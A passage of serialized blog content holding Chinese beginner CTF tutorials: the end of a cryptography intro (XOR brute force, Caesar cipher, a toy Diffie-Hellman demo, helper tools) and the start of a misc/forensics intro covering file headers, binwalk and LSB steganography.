与单字节爆破",[16,2511,2512,2513,2516,2517,2520],{},"异或的性质：",[30,2514,2515],{},"A ^ B = C","，且 ",[30,2518,2519],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[147,2522,2524],{"id":2523},"_31-加密","3.1 加密",[16,2526,2527,2529],{},[136,2528,138],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[23,2531,2533],{"className":1238,"code":2532,"language":1240,"meta":28,"style":28},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[30,2534,2535,2540,2545,2549,2554,2559,2564,2569],{"__ignoreMap":28},[33,2536,2537],{"class":35,"line":36},[33,2538,2539],{},"plain = b\"flag{xor_is_easy}\"\n",[33,2541,2542],{"class":35,"line":47},[33,2543,2544],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[33,2546,2547],{"class":35,"line":70},[33,2548,1460],{"emptyLinePlaceholder":1373},[33,2550,2551],{"class":35,"line":80},[33,2552,2553],{},"cipher = bytes([b ^ key for b in plain])\n",[33,2555,2556],{"class":35,"line":452},[33,2557,2558],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[33,2560,2561],{"class":35,"line":458},[33,2562,2563],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[33,2565,2566],{"class":35,"line":464},[33,2567,2568],{},"print(cipher.hex())\n",[33,2570,2571],{"class":35,"line":470},[33,2572,2573],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[16,2575,2432],{},[23,2577,2580],{"className":2578,"code":2579,"language":175,"meta":28},[173],"242e2325393a2d301d2b311d2723313b3f\n",[30,2581,2579],{"__ignoreMap":28},[147,2583,2585],{"id":2584},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[16,2587,2588,2590],{},[136,2589,138],{},"：不知道密钥时，把 256 种可能全部试一遍。",[16,2592,2593,2595,2596,2599,2600,2603],{},[136,2594,144],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[30,2597,2598],{},"flag{"," 开头，这就是天然的判据。用 ",[30,2601,2602],{},"b\"flag{\" in plain"," 过滤即可。",[23,2605,2607],{"className":1238,"code":2606,"language":1240,"meta":28,"style":28},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[30,2608,2609,2614,2619,2623,2628,2633,2638,2643,2648,2653,2658,2663,2668,2673],{"__ignoreMap":28},[33,2610,2611],{"class":35,"line":36},[33,2612,2613],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[33,2615,2616],{"class":35,"line":47},[33,2617,2618],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[33,2620,2621],{"class":35,"line":70},[33,2622,1460],{"emptyLinePlaceholder":1373},[33,2624,2625],{"class":35,"line":80},[33,2626,2627],{},"for k in range(256):\n",[33,2629,2630],{"class":35,"line":452},[33,2631,2632],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[33,2634,2635],{"class":35,"line":458},[33,2636,2637],{},"    plain = bytes([b ^ k for b in cipher])\n",[33,2639,2640],{"class":35,"line":464},[33,2641,2642],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[33,2644,2645],{"class":35,"line":470},[33,2646,2647],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[33,2649,2650],{"class":35,"line":476},[33,2651,2652],{},"    if b\"flag{\" in plain:\n",[33,2654,2655],{"class":35,"line":482},[33,2656,2657],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[33,2659,2660],{"class":35,"line":1295},[33,2661,2662],{},"        print(\"key =\", k)           # 输出密钥数值\n",[33,2664,2665],{"class":35,"line":1301},[33,2666,2667],{},"        print(plain.decode())       # 输出解密出的明文\n",[33,2669,2670],{"class":35,"line":1505},[33,2671,2672],{},"        break\n",[33,2674,2675],{"class":35,"line":1511},[33,2676,2677],{},"        # 找到即停止，避免继续打印无意义结果。\n",[16,2679,2432],{},[23,2681,2684],{"className":2682,"code":2683,"language":175,"meta":28},[173],"key = 66\nflag{xor_is_easy}\n",[30,2685,2683],{"__ignoreMap":28},[16,2687,2688,2689,2691],{},"判断依据：明文包含 ",[30,2690,2598],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[147,2693,2695],{"id":2694},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[16,2697,2698,2699,561],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[30,2700,2701],{},"xortool",[23,2703,2705],{"className":25,"code":2704,"language":27,"meta":28,"style":28},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[30,2706,2707,2717],{"__ignoreMap":28},[33,2708,2709,2712,2714],{"class":35,"line":36},[33,2710,2711],{"class":39},"pip",[33,2713,106],{"class":43},[33,2715,2716],{"class":43}," xortool\n",[33,2718,2719,2721,2724,2727,2730],{"class":35,"line":47},[33,2720,2701],{"class":39},[33,2722,2723],{"class":241}," -x",[33,2725,2726],{"class":241}," -c",[33,2728,2729],{"class":241}," 20",[33,2731,2732],{"class":43}," cipher.bin\n",[11,2734,2736],{"id":2735},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[16,2738,2739],{},"每个字母平移固定位数：",[23,2741,2743],{"className":1238,"code":2742,"language":1240,"meta":28,"style":28},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[30,2744,2745,2750,2755,2760,2765,2770,2775,2780,2785,2790,2794,2799],{"__ignoreMap":28},[33,2746,2747],{"class":35,"line":36},[33,2748,2749],{},"def caesar(s, shift):\n",[33,2751,2752],{"class":35,"line":47},[33,2753,2754],{},"    out = \"\"\n",[33,2756,2757],{"class":35,"line":70},[33,2758,2759],{},"    for c in s:\n",[33,2761,2762],{"class":35,"line":80},[33,2763,2764],{},"        if c.isalpha():\n",[33,2766,2767],{"class":35,"line":452},[33,2768,2769],{},"            base = ord('a') if c.islower() else ord('A')\n",[33,2771,2772],{"class":35,"line":458},[33,2773,2774],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[33,2776,2777],{"class":35,"line":464},[33,2778,2779],{},"        else:\n",[33,2781,2782],{"class":35,"line":470},[33,2783,2784],{},"            out += c\n",[33,2786,2787],{"class":35,"line":476},[33,2788,2789],{},"    return out\n",[33,2791,2792],{"class":35,"line":482},[33,2793,1460],{"emptyLinePlaceholder":1373},[33,2795,2796],{"class":35,"line":1295},[33,2797,2798],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[33,2800,2801],{"class":35,"line":1301},[33,2802,2803],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[16,2805,2432],{},[23,2807,2810],{"className":2808,"code":2809,"language":175,"meta":28},[173],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[30,2811,2809],{"__ignoreMap":28},[11,2813,2815],{"id":2814},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[147,2817,2819],{"id":2818},"_51-要解决的问题","5.1 要解决的问题",[16,2821,2822],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[147,2824,2826],{"id":2825},"_52-流程","5.2 流程",[16,2828,2829,2831],{},[136,2830,138],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[16,2833,2834,2836],{},[136,2835,144],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[789,2838,2839,2847,2856,2864],{},[792,2840,2841,2842,2844,2845,301],{},"双方公开约定大素数 ",[30,2843,16],{}," 与生成元 ",[30,2846,64],{},[792,2848,2849,2850,2852,2853,301],{},"Alice 选私钥 ",[30,2851,2500],{},"，发送 ",[30,2854,2855],{},"A = g^a mod p",[792,2857,2858,2859,2852,2861,301],{},"Bob 选私钥 ",[30,2860,995],{},[30,2862,2863],{},"B = g^b mod p",[792,2865,2866,2867,2870,2871,2874,2875,301],{},"双方分别计算 ",[30,2868,2869],{},"B^a mod p"," 与 ",[30,2872,2873],{},"A^b mod p","，得到相同值 ",[30,2876,2877],{},"g^(ab) mod p",[147,2879,2881],{"id":2880},"_53-最小实现","5.3 最小实现",[23,2883,2885],{"className":1238,"code":2884,"language":1240,"meta":28,"style":28},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[30,2886,2887,2892,2897,2902,2907,2912,2916,2921,2926,2931,2936,2941,2945,2950,2955,2960,2965,2970,2974,2979,2985,2991,2997,3003],{"__ignoreMap":28},[33,2888,2889],{"class":35,"line":36},[33,2890,2891],{},"p, g = 0xffffffffffffffc5, 2\n",[33,2893,2894],{"class":35,"line":47},[33,2895,2896],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[33,2898,2899],{"class":35,"line":70},[33,2900,2901],{},"# g：生成元，双方公开约定。\n",[33,2903,2904],{"class":35,"line":80},[33,2905,2906],{},"a, b = 1234567, 7654321\n",[33,2908,2909],{"class":35,"line":452},[33,2910,2911],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[33,2913,2914],{"class":35,"line":458},[33,2915,1460],{"emptyLinePlaceholder":1373},[33,2917,2918],{"class":35,"line":464},[33,2919,2920],{},"A = pow(g, a, p)\n",[33,2922,2923],{"class":35,"line":470},[33,2924,2925],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[33,2927,2928],{"class":35,"line":476},[33,2929,2930],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[33,2932,2933],{"class":35,"line":482},[33,2934,2935],{},"B = pow(g, b, p)\n",[33,2937,2938],{"class":35,"line":1295},[33,2939,2940],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[33,2942,2943],{"class":35,"line":1301},[33,2944,1460],{"emptyLinePlaceholder":1373},[33,2946,2947],{"class":35,"line":1505},[33,2948,2949],{},"s_alice = pow(B, a, p)\n",[33,2951,2952],{"class":35,"line":1511},[33,2953,2954],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[33,2956,2957],{"class":35,"line":1517},[33,2958,2959],{},"s_bob = pow(A, b, p)\n",[33,2961,2962],{"class":35,"line":1523},[33,2963,2964],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[33,2966,2967],{"class":35,"line":1529},[33,2968,2969],{},"# 两个结果相等，这就是共享密钥。\n",[33,2971,2972],{"class":35,"line":1535},[33,2973,1460],{"emptyLinePlaceholder":1373},[33,2975,2976],{"class":35,"line":1541},[33,2977,2978],{},"print(\"A =\", A)\n",[33,2980,2982],{"class":35,"line":2981},20,[33,2983,2984],{},"print(\"B =\", B)\n",[33,2986,2988],{"class":35,"line":2987},21,[33,2989,2990],{},"print(\"Alice 计算:\", s_alice)\n",[33,2992,2994],{"class":35,"line":2993},22,[33,2995,2996],{},"print(\"Bob 计算:\", s_bob)\n",[33,2998,3000],{"class":35,"line":2999},23,[33,3001,3002],{},"print(\"一致:\", s_alice == s_bob)\n",[33,3004,3006],{"class":35,"line":3005},24,[33,3007,3008],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[16,3010,2432],{},[23,3012,3015],{"className":3013,"code":3014,"language":175,"meta":28},[173],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[30,3016,3014],{"__ignoreMap":28},[16,3018,3019,3020,3023,3024,3026],{},"窃听者只能看到 ",[30,3021,3022],{},"p, g, A, B","，要算出 ",[30,3025,2500],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[11,3028,1038],{"id":1037},[147,3030,3032],{"id":3031},"工具-1cyberchef","工具 1：CyberChef",[16,3034,3035],{},"浏览器工具，三个常用操作：",[490,3037,3038,3048],{},[493,3039,3040],{},[496,3041,3042,3045],{},[499,3043,3044],{},"操作",[499,3046,3047],{},"用法",[506,3049,3050,3058,3066],{},[496,3051,3052,3055],{},[511,3053,3054],{},"From Base64",[511,3056,3057],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[496,3059,3060,3063],{},[511,3061,3062],{},"From Hex",[511,3064,3065],{},"拖入 From Hex 解码十六进制",[496,3067,3068,3071],{},[511,3069,3070],{},"Magic",[511,3072,3073],{},"直接粘贴未知文本，自动猜测编码方式",[147,3075,3077],{"id":3076},"工具-2python-标准库","工具 2：Python 标准库",[23,3079,3081],{"className":1238,"code":3080,"language":1240,"meta":28,"style":28},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[30,3082,3083,3088,3092,3097,3102],{"__ignoreMap":28},[33,3084,3085],{"class":35,"line":36},[33,3086,3087],{},"import base64, binascii\n",[33,3089,3090],{"class":35,"line":47},[33,3091,1460],{"emptyLinePlaceholder":1373},[33,3093,3094],{"class":35,"line":70},[33,3095,3096],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[33,3098,3099],{"class":35,"line":80},[33,3100,3101],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[33,3103,3104],{"class":35,"line":452},[33,3105,3106],{},"print(ord('A'))                       # 65，ASCII 编码\n",[147,3108,3110],{"id":3109},"工具-3pycryptodome","工具 3：pycryptodome",[16,3112,3113],{},"CTF 密码学最常用的库，三个函数：",[23,3115,3117],{"className":1238,"code":3116,"language":1240,"meta":28,"style":28},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[30,3118,3119,3124,3128,3133,3138],{"__ignoreMap":28},[33,3120,3121],{"class":35,"line":36},[33,3122,3123],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[33,3125,3126],{"class":35,"line":47},[33,3127,1460],{"emptyLinePlaceholder":1373},[33,3129,3130],{"class":35,"line":70},[33,3131,3132],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[33,3134,3135],{"class":35,"line":80},[33,3136,3137],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[33,3139,3140],{"class":35,"line":452},[33,3141,3142],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[16,3144,2432],{},[23,3146,3149],{"className":3147,"code":3148,"language":175,"meta":28},[173],"5\nb'flag'\n1718378855\n",[30,3150,3148],{"__ignoreMap":28},[11,3152,3154],{"id":3153},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[16,3156,3157],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[23,3159,3161],{"className":3160,"code":2579,"language":175,"meta":28},[173],[30,3162,2579],{"__ignoreMap":28},[16,3164,3165],{},"解题脚本：",[16,3167,3168,3170,3171,3173],{},[136,3169,144],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[30,3172,2598],{}," 前缀过滤正确结果。",[23,3175,3177],{"className":1238,"code":3176,"language":1240,"meta":28,"style":28},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[30,3178,3179,3184,3189,3193,3198,3202,3206,3210,3215,3219,3224,3229],{"__ignoreMap":28},[33,3180,3181],{"class":35,"line":36},[33,3182,3183],{},"from binascii import unhexlify\n",[33,3185,3186],{"class":35,"line":47},[33,3187,3188],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[33,3190,3191],{"class":35,"line":70},[33,3192,1460],{"emptyLinePlaceholder":1373},[33,3194,3195],{"class":35,"line":80},[33,3196,3197],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[33,3199,3200],{"class":35,"line":452},[33,3201,1460],{"emptyLinePlaceholder":1373},[33,3203,3204],{"class":35,"line":458},[33,3205,2627],{},[33,3207,3208],{"class":35,"line":464},[33,3209,2637],{},[33,3211,3212],{"class":35,"line":470},[33,3213,3214],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[33,3216,3217],{"class":35,"line":476},[33,3218,2652],{},[33,3220,3221],{"class":35,"line":482},[33,3222,3223],{},"        print(\"key =\", k)          # 预期 66\n",[33,3225,3226],{"class":35,"line":1295},[33,3227,3228],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[33,3230,3231],{"class":35,"line":1301},[33,3232,2672],{},[16,3234,2432],{},[23,3236,3238],{"className":3237,"code":2683,"language":175,"meta":28},[173],[30,3239,2683],{"__ignoreMap":28},[11,3241,1337],{"id":1336},[16,3243,3244],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1350,3246,3247],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":28,"searchDepth":47,"depth":47,"links":3249},[3250,3251,3252,3253,3254,3255,3256,3257],{"id":2268,"depth":70,"text":2269},{"id":89,"depth":70,"text":90},{"id":2508,"depth":70,"text":2509},{"id":2735,"depth":70,"text":2736},{"id":2814,"depth":70,"text":2815},{"id":1037,"depth":70,"text":1038},{"id":3153,"depth":70,"text":3154},{"id":1336,"depth":70,"text":1337},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1366,"image":3260,"alt":3261,"tags":3262,"published":1373},"/blogs-img/blog3.png","CTF 密码学入门",[1370,3263,1372],"crypto","/blogs/ctf-crypto-overview",{"title":2263,"description":3258},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":3269,"title":3270,"body":3271,"description":4225,"extension":1364,"meta":4226,"navigation":1373,"ogImage":4227,"path":4231,"seo":4232,"stem":4233,"__hash__":4234},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":8,"value":3272,"toc":4215},[3273,3277,3287,3290,3350,3352,3385,3389,3393,3398,3403,3415,3417,3423,3430,3453,3457,3462,3485,3487,3493,3503,3507,3512,3523,3544,3547,3551,3554,3567,3569,3575,3578,3592,3599,3606,3617,3621,3625,3628,3634,3637,3641,3646,3849,3863,3867,3872,3877,4007,4009,4015,4019,4044,4050,4052,4123,4127,4132,4135,4146,4151,4154,4172,4175,4178,4188,4191,4194,4199,4201,4212],[11,3274,3276],{"id":3275},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[16,3278,3279,3280,3283,3284,301],{},"操作系统按扩展名选择打开程序（",[30,3281,3282],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[136,3285,3286],{},"先看文件头，再信扩展名",[16,3288,3289],{},"必须记住的三个文件头：",[490,3291,3292,3305],{},[493,3293,3294],{},[496,3295,3296,3299,3302],{},[499,3297,3298],{},"文件",[499,3300,3301],{},"文件头（hex）",[499,3303,3304],{},"明文",[506,3306,3307,3322,3335],{},[496,3308,3309,3312,3317],{},[511,3310,3311],{},"PNG",[511,3313,3314],{},[30,3315,3316],{},"89 50 4E 47 0D 0A 1A 0A",[511,3318,3319],{},[30,3320,3321],{},"‰PNG",[496,3323,3324,3327,3332],{},[511,3325,3326],{},"JPEG",[511,3328,3329],{},[30,3330,3331],{},"FF D8 FF",[511,3333,3334],{},"—",[496,3336,3337,3340,3345],{},[511,3338,3339],{},"ZIP",[511,3341,3342],{},[30,3343,3344],{},"50 4B 03 04",[511,3346,3347],{},[30,3348,3349],{},"PK",[11,3351,90],{"id":89},[23,3353,3355],{"className":25,"code":3354,"language":27,"meta":28,"style":28},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[30,3356,3357,3376],{"__ignoreMap":28},[33,3358,3359,3361,3363,3365,3367,3370,3373],{"class":35,"line":36},[33,3360,103],{"class":39},[33,3362,106],{"class":43},[33,3364,109],{"class":43},[33,3366,112],{"class":43},[33,3368,3369],{"class":43}," binwalk",[33,3371,3372],{"class":43}," foremost",[33,3374,3375],{"class":43}," exiftool\n",[33,3377,3378,3380,3382],{"class":35,"line":47},[33,3379,1425],{"class":39},[33,3381,106],{"class":43},[33,3383,3384],{"class":43}," pillow\n",[11,3386,3388],{"id":3387},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[147,3390,3392],{"id":3391},"_31-file看真实类型","3.1 file：看真实类型",[16,3394,3395,3397],{},[136,3396,138],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[16,3399,3400,3402],{},[136,3401,648],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[23,3404,3406],{"className":25,"code":3405,"language":27,"meta":28,"style":28},"file hidden.png\n",[30,3407,3408],{"__ignoreMap":28},[33,3409,3410,3412],{"class":35,"line":36},[33,3411,163],{"class":39},[33,3413,3414],{"class":43}," hidden.png\n",[16,3416,2432],{},[23,3418,3421],{"className":3419,"code":3420,"language":175,"meta":28},[173],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[30,3422,3420],{"__ignoreMap":28},[16,3424,3425,3426,3429],{},"如果输出是 ",[30,3427,3428],{},"Zip archive data","，说明文件其实是 zip：",[23,3431,3433],{"className":25,"code":3432,"language":27,"meta":28,"style":28},"mv flag.png flag.zip && unzip flag.zip\n",[30,3434,3435],{"__ignoreMap":28},[33,3436,3437,3440,3443,3446,3448,3450],{"class":35,"line":36},[33,3438,3439],{"class":39},"mv",[33,3441,3442],{"class":43}," flag.png",[33,3444,3445],{"class":43}," flag.zip",[33,3447,781],{"class":63},[33,3449,758],{"class":39},[33,3451,3452],{"class":43}," flag.zip\n",[147,3454,3456],{"id":3455},"_32-xxd看文件头","3.2 xxd：看文件头",[16,3458,3459,3461],{},[136,3460,138],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[23,3463,3465],{"className":25,"code":3464,"language":27,"meta":28,"style":28},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[30,3466,3467,3480],{"__ignoreMap":28},[33,3468,3469,3472,3475,3478],{"class":35,"line":36},[33,3470,3471],{"class":39},"xxd",[33,3473,3474],{"class":241}," -l",[33,3476,3477],{"class":241}," 16",[33,3479,3414],{"class":43},[33,3481,3482],{"class":35,"line":47},[33,3483,3484],{"class":1576},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[16,3486,2432],{},[23,3488,3491],{"className":3489,"code":3490,"language":175,"meta":28},[173],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[30,3492,3490],{"__ignoreMap":28},[16,3494,3495,3496,3499,3500,301],{},"开头的 ",[30,3497,3498],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[30,3501,3502],{},".PNG",[147,3504,3506],{"id":3505},"_33-strings搜字符串","3.3 strings：搜字符串",[16,3508,3509,3511],{},[136,3510,138],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[16,3513,3514,561,3516,3518,3519,3522],{},[136,3515,144],{},[30,3517,209],{}," 把可打印字符串抽出来，",[30,3520,3521],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[23,3524,3526],{"className":25,"code":3525,"language":27,"meta":28,"style":28},"strings flag.png | grep -i flag\n",[30,3527,3528],{"__ignoreMap":28},[33,3529,3530,3532,3534,3536,3538,3541],{"class":35,"line":36},[33,3531,209],{"class":39},[33,3533,3442],{"class":43},[33,3535,400],{"class":56},[33,3537,403],{"class":39},[33,3539,3540],{"class":241}," -i",[33,3542,3543],{"class":43}," flag\n",[16,3545,3546],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[11,3548,3550],{"id":3549},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[16,3552,3553],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[23,3555,3557],{"className":25,"code":3556,"language":27,"meta":28,"style":28},"binwalk flag.png\n",[30,3558,3559],{"__ignoreMap":28},[33,3560,3561,3564],{"class":35,"line":36},[33,3562,3563],{"class":39},"binwalk",[33,3565,3566],{"class":43}," flag.png\n",[16,3568,169],{},[23,3570,3573],{"className":3571,"code":3572,"language":175,"meta":28},[173],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[30,3574,3572],{"__ignoreMap":28},[16,3576,3577],{},"提取：",[23,3579,3581],{"className":25,"code":3580,"language":27,"meta":28,"style":28},"binwalk -e flag.png\n",[30,3582,3583],{"__ignoreMap":28},[33,3584,3585,3587,3590],{"class":35,"line":36},[33,3586,3563],{"class":39},[33,3588,3589],{"class":241}," -e",[33,3591,3566],{"class":43},[16,3593,3594,3595,3598],{},"会在当前目录生成 ",[30,3596,3597],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[16,3600,3601,3602,3605],{},"备选工具 ",[30,3603,3604],{},"foremost","（按文件头暴力切割）：",[23,3607,3609],{"className":25,"code":3608,"language":27,"meta":28,"style":28},"foremost flag.png\n",[30,3610,3611],{"__ignoreMap":28},[33,3612,3613,3615],{"class":35,"line":36},[33,3614,3604],{"class":39},[33,3616,3566],{"class":43},[11,3618,3620],{"id":3619},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[147,3622,3624],{"id":3623},"_51-原理","5.1 原理",[16,3626,3627],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[23,3629,3632],{"className":3630,"code":3631,"language":175,"meta":28},[173],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[30,3633,3631],{"__ignoreMap":28},[16,3635,3636],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[147,3638,3640],{"id":3639},"_52-隐藏出题人视角","5.2 